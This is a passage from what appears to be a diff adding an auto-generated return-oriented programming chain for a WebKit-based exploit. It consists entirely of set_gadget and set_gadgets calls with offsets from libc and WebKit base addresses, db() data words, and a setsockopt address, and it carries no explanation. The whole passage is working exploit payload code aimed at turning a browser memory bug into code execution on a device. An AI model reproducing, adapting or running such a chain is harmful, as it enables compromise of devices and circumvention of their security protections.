+webkit_base+426067, +libc_base+713278, +ropchain+301592, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+301584, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+301608, +ropchain+302072, +libc_base+388400, +libc_base+713278, +ropchain+301680, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+301840, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+301872, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+301824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+301856, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+301952, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+301968, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+302064, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+302048, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([256, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+302176, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+302280, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+302368, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+302384, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+302544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+302576, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+302528, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+302560, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+302672, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+302656, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+302776, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+190952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+302864, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+302944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+303000, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([104, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+303128, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+303312, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+303328, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+303416, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+303472, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+303600, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+303632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+303616, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+303760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+303776, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+303744, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+303880, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+303896, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+304016, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+304000, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+304104, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+304088, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+304208, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+304224, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+304344, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+304328, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+305672, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+305744, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+305808, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([2104, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+305904, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965216, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+305976, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965208, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+306104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+306120, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+306264, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+306280, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+306248, +webkit_base+4687784, +libc_base+713278 +]); +db([20, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+306368, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+306384, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+306544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+306576, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+306528, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+306560, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+306656, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+306672, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+306768, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+306752, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+306864, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965208, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+306952, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+306968, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+307072, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+307056, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+307128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+307408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+307424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+307392, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+307584, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+307536, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+307552, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+307640, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+307752, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+307784, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+307768, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+307880, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+307864, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+307976, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965208, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+308064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+308080, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+308184, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+308168, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+308256, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+308312, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+524088, +libc_base+713278, +ropchain+308368, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+308464, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+308640, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+308592, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+308608, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+308744, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+308728, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+308840, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965208, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+308928, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+308944, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+309048, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+309032, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+309120, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([10, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+309176, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+524088, +libc_base+713278, +ropchain+309232, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+309328, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+309440, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+309424, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+309536, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965208, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+309624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+309640, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+309744, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+309728, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+309816, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([12, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+309928, +webkit_base+4687784, +libc_base+768796 +]); +db([5, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([5, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+310040, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+310024, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+310136, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965208, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+310224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+310240, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+310344, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+310328, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+310416, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+310576, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965208, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+310664, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+310680, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+310784, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+310768, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+310856, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+310968, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+311112, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+311144, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+311128, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+311256, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+311248, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+311272, +ropchain+311288, +libc_base+489696, +ropchain+305840, +libc_base+768796 +]); +db([2048, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+311392, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965248, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+311496, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+311584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+311600, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+311760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+311792, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+311744, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+311776, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+311888, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+311872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+311984, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+312072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+312088, +webkit_base+4687784, +libc_base+863109, 